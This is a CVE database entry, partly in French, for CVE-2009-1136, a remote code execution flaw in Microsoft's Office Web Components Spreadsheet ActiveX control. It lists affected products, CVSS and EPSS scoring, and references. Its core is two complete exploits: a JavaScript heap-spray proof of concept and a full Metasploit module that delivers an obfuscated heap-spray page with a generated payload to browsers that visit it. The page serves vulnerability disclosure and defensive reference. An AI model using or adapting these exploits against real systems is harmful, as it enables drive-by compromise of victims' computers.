CVE-2009-1136
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Descriptions du CVE
The Microsoft Office Web Components Spreadsheet ActiveX control (aka OWC10 or OWC11), as distributed in Office XP SP3 and Office 2003 SP3, Office XP Web Components SP3, Office 2003 Web Components SP3, Office 2003 Web Components SP1 for the 2007 Microsoft Office System, Internet Security and Acceleration (ISA) Server 2004 SP3 and 2006 Gold and SP1, and Office Small Business Accounting 2006, when used in Internet Explorer, allows remote attackers to execute arbitrary code via a crafted call to the msDataSourceObject method, as exploited in the wild in July and August 2009, aka "Office Web Components HTML Script Vulnerability."
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 9163
Date de publication : 2009-07-15 22h00 +00:00
Auteur : anonymous
EDB Vérifié : Yes
<!-- http://en.securitylab.ru/poc/extra/382458.php -->
<html>
<body>
<script language="JavaScript">
var shellcode = unescape("evil code");
var array = new Array();
var ls = 0x81000-(shellcode.length*2);
var bigblock = unescape("%u0b0c%u0b0C");
while(bigblock.length<ls/2)
{bigblock+=bigblock;}
var lh = bigblock.substring(0,ls/2);
delete bigblock;
for(i=0;i<0x99*2;i++) {
array[i] = lh + lh + shellcode;
}
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet");
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++){
for(j=0;j<10;j++){
try{
obj.Evaluate(e[i]);
}
catch(e)
{}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++){
try{
obj.msDataSourceObject(e[3]);
}
catch(e)
{}
}
</script>
</body>
</html>
# milw0rm.com [2009-07-16]
Exploit Database EDB-ID : 16537
Date de publication : 2010-07-19 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: ms09_043_owc_msdso.rb 9893 2010-07-20 23:28:47Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',
'Description' => %q{
This module exploits a memory corruption vulnerability within versions 10 and 11 of
the Office Web Component Spreadsheet ActiveX control. This module was based on
an exploit found in the wild.
},
'License' => MSF_LICENSE,
'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],
'Version' => '$Revision: 9893 $',
'References' =>
[
[ 'CVE', '2009-1136' ],
[ 'OSVDB', '55806' ],
[ 'MSB', 'MS09-043' ],
[ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9163/' ],
# broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
],
'DisclosureDate' => 'Jul 13 2009',
'DefaultTarget' => 0))
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
end
def on_request_uri(cli, request)
# Send a redirect with the javascript encoding key
#if (!request.uri.match(/\?\w+/))
# send_local_redirect(cli, "?#{@javascript_encode_key}")
# return
#end
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
shellcode = Rex::Text.to_unescape(p.encoded)
retaddr = Rex::Text.to_unescape([target.ret].pack('V'))
js = %Q|
var xshellcode = unescape("#{shellcode}");
var xarray = new Array();
var xls = 0x81000-(xshellcode.length*2);
var xbigblock = unescape("#{retaddr}");
while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
var xlh = xbigblock.substring(0, xls / 2);
delete xbigblock;
for(xi=0; xi<0x99*2; xi++) {
xarray[xi] = xlh + xlh + xshellcode;
}
CollectGarbage();
var xobj;
try {
xobj = new ActiveXObject("OWC10.Spreadsheet");
} catch(err) {
try {
xobj = new ActiveXObject("OWC11.Spreadsheet");
} catch(err) {
}
}
xe = new Array();
xe.push(1);
xe.push(2);
xe.push(0);
xe.push(window);
for(xi=0; xi < xe.length; xi++){
for(xj=0; xj<10; xj++){
try { xobj.Evaluate(xe[xi]); } catch(e) { }
}
}
window.status = xe[3] + '';
for(xj=0; xj<10; xj++){
try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
}
|
# Obfuscate it up a bit
js = obfuscate_js(js,
'Symbols' => {
'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
}
).to_s
# Encode the javascript payload with the URI key
# js = encrypt_js(js, @javascript_encode_key)
# Fire off the page to the client
send_response(cli, "<html><script language='javascript'>#{js}</script></html>")
# Handle the payload
handler(cli)
end
end
Products Mentioned
Configuraton 0
Microsoft>>Isa_server >> Version 2004
Microsoft>>Isa_server >> Version 2004
Microsoft>>Isa_server >> Version 2006
Microsoft>>Isa_server >> Version 2006
Microsoft>>Isa_server >> Version 2006
Microsoft>>Office >> Version 2003
Microsoft>>Office >> Version 2003
- Microsoft>>Office >> Version 2003 (Open CPE detail)
Microsoft>>Office_web_components >> Version 2003
Microsoft>>Office_web_components >> Version 2003
- Microsoft>>Office_web_components >> Version 2003 (Open CPE detail)
Microsoft>>Office_web_components >> Version xp
Microsoft>>Office_xp >> Version sp3
Références
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5809
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
http://blogs.technet.com/srd/archive/2009/07/13/more-information-about-the-office-web-components-activex-vulnerability.aspx
Tags : x_refsource_CONFIRM
Tags : x_refsource_CONFIRM
http://blogs.technet.com/msrc/archive/2009/07/13/microsoft-security-advisory-973472-released.aspx
Tags : x_refsource_CONFIRM
Tags : x_refsource_CONFIRM
http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/browser/owc_spreadsheet_msdso.rb
Tags : x_refsource_MISC
Tags : x_refsource_MISC
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-043
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
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